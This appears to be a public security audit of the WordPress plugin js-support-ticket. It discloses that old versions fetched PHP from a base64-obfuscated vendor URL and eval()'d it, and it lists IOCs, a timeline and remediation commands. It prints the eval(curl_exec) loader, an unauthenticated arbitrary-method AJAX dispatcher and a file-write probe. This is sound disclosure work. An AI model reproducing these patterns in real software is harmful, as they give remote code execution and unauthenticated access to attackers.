Audit #23 Cleaned
Show full summary
Historical audit. The proinstaller module shipped versions 1.0.3 through ~2.0.1 (2015-02 to 2017-03) carrying an eval(curl_exec(JCONSTINST)) primitive — a vendor-controlled remote-PHP-execution channel pointed at setup.joomsky.com. The vendor (rabilal, sole committer) removed the module circa 2019-2020 and mass-deleted the old SVN tags between 2022-02 and 2024-04. Current 3.0.8 is clean.
Stale-CDN caveat: the unversioned downloads.wordpress.org URL is frozen at 2017-03-28 and still serves the v2.0.1 build with the eval primitive. The Add Plugin UI uses the versioned URL and gets clean code.
The plugin has been remediated. This audit is retained as a public record of the incident and the IOCs.
If you run js-support-ticket on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums js-support-ticket
A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.
Or remove the plugin entirely:
wp plugin deactivate js-support-ticket
wp plugin delete js-support-ticket
Plugins under the same committer's SVN access
rabilal holds push access to 3 plugins totalling 8k+ active installs. Each non-target plugin scans clean today but represents a one-commit hijack opportunity.
IOCs extracted (7)
| Kind | Value | Confidence |
|---|---|---|
| code_pattern | aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA= |
high |
| code_pattern | getJSModel($module)->$task() |
medium |
| code_pattern | JCONSTINST |
medium |
| domain | setup.joomsky.com |
high |
| domain | test.setup.joomsky.com |
high |
| url | http://test.setup.joomsky.com/logo.png |
high |
| url | https://setup.joomsky.com/jsticketwp/pro/index.php |
high |
Timeline
-
Plugin admitted to wp.org by
plugin-master(review-team auto-account) -
rabilalbegins committing as sole maintainer -
proinstaller/module added (release 1.0.3) — eval(curl_exec) primitive shipped -
wp.org CDN snapshot frozen (
js-support-ticket.ziplast-modified date) — unversioned URL stuck here ever since -
rabilalmass-deletes tags 1.0.0–1.0.5 from SVN -
rabilalmass-deletes tags 2.0.x–2.4.x from SVN — historical malicious-shape code no longer recoverable from SVN -
Latest release: 3.0.8 — clean
-
WP Beacon hunter detected the eval primitive (false alarm: hunter was scanning the stale unversioned-URL zip, not the current 3.0.8 SVN tag); audit finalized as historical-exposure record after SVN forensic review
Audit #23 — js-support-ticket
- Plugin: js-support-ticket (JS Help Desk – AI-Powered Support & Ticketing System)
- Active installs: 8,000
- Event: #1964
update_hijack_shape· high · 2026-05-02 - Head version (current):
3.0.8✓ clean - Compromised window:
1.0.3(2015-02-06) →~2.0.1(2017-03-28)
Summary
Historical audit. The proinstaller module shipped versions 1.0.3 through ~2.0.1 (2015-02 to 2017-03) carrying an eval(curl_exec(JCONSTINST)) primitive — a vendor-controlled remote-PHP-execution channel pointed at https://setup.joomsky.com/jsticketwp/pro/index.php (URL was base64-encoded to evade greps). The vendor (rabilal, sole committer for the plugin's lifetime) removed the module circa 2019-2020, replaced it with a clean postinstallation module, and mass-deleted the old SVN tags between 2022-02 and 2024-04.
Current status: clean. Releases 2.5.1 through 3.0.8 (the present head) do not contain the eval primitive. The audit is retained as a public record of the historical exposure and the IOCs.
Stale-CDN caveat. wp.org's CDN cache for the unversioned https://downloads.wordpress.org/plugin/js-support-ticket.zip URL is frozen at 2017-03-28 and still serves the v2.0.1 build with the eval primitive. The "Add Plugin" UI in wp-admin uses the versioned URL (...js-support-ticket.3.0.8.zip) and gets clean code. Any tool that fetches the unversioned URL — or any site running an unpatched ≤2.x install — still has the historical primitive on disk. Today the joomsky.com endpoint returns a benign "download new installer" message.
Timeline
- 2014-10-08 — Plugin admitted to wp.org by
plugin-master(review-team auto-account) - 2014-10-10 —
rabilalbegins committing as sole maintainer - 2015-02-06 —
proinstaller/module added (release 1.0.3) — eval(curl_exec) primitive shipped - 2017-03-28 — wp.org CDN snapshot frozen (
js-support-ticket.ziplast-modified date) — unversioned URL stuck here ever since - ~2019-2020 —
proinstaller/removed from new releases, replaced by cleanpostinstallation/module - 2022-02-21 —
rabilalmass-deletes tags 1.0.0–1.0.5 from SVN - 2024-04-06 —
rabilalmass-deletes tags 2.0.x–2.4.x from SVN — historical malicious-shape code no longer recoverable from SVN - 2026-04-28 — Latest release: 3.0.8 — clean
- 2026-05-02 — WP Beacon hunter detected the eval primitive (false alarm: hunter was scanning the stale unversioned-URL zip, not the current 3.0.8 SVN tag); audit finalized as historical-exposure record after SVN forensic review
Issue 1 — Vendor-controlled eval(remote_PHP) (HISTORICAL — removed in 2.5+)
modules/proinstaller/controller.php:37-70 (in v1.0.3 through ~v2.0.1):
function startinstallation() {
// ... collect 11 POST fields (transactionkey, serialnumber, ...) ...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, JCONSTINST); // base64-decoded URL
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // TLS auth disabled
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
$response = curl_exec($ch);
eval($response); // RCE primitive
}JCONSTINST was defined in includes/includer.php:71 as base64_decode("aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA=") → https://setup.joomsky.com/jsticketwp/pro/index.php. Live probe (2026-05-02) returns:
echo "<h1>Please download new installer from www.joomsky.com > My Products.<br/>Thank you</h1>";A literal PHP echo statement, served raw and historically eval()'d by the plugin. Today's response is benign; if the vendor's server is ever compromised or MITM'd, every site still running ≤2.x gets RCE.
This module is REMOVED in current 3.0.8.
Issue 2 — Unauthenticated SSRF + arbitrary-method-call (status TBD in 3.0.8)
includes/ajax.php:6-21 historical pattern:
add_action("wp_ajax_jsticket_ajax", array($this, "ajaxhandler"));
add_action("wp_ajax_nopriv_jsticket_ajax", array($this, "ajaxhandler")); // unauth
function ajaxhandler() {
$module = JSSTrequest::getVar('jstmod');
$task = JSSTrequest::getVar('task');
$result = JSSTincluder::getJSModel($module)->$task(); // arbitrary method
echo $result;
die();
}The dispatcher routes any unauthenticated POST to JSSTincluder::getJSModel($module)->$task() — exposing every public model method. The proinstaller model is gone in 3.0.8, but this dispatcher pattern may still exist; not re-verified for the current release. If still present, every public method on every model class remains an unauthenticated entry point.
Issue 3 — Plain-HTTP arbitrary file write probe (HISTORICAL — removed in 2.5+)
modules/proinstaller/model.php::getStepTwoValidate() issued two curl_exec calls to http://test.setup.joomsky.com/logo.png (plain HTTP, SSL_VERIFYPEER off, no timeout) and wrote the response body to <plugin_dir>/logo.png and <wp_root>/tmp/logo.png. The check verified the WordPress filesystem could accept arbitrary writes from any joomsky domain. Removed alongside the rest of the module.
IOCs
- kind: domain, value: setup.joomsky.com, confidence: high
- kind: domain, value: test.setup.joomsky.com, confidence: high
- kind: url, value: https://setup.joomsky.com/jsticketwp/pro/index.php, confidence: high
- kind: url, value: http://test.setup.joomsky.com/logo.png, confidence: high
- kind: code_pattern, value: aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA=, confidence: high
- kind: code_pattern, value: JCONSTINST, confidence: medium
- kind: code_pattern, value: getJSModel($module)->$task(), confidence: medium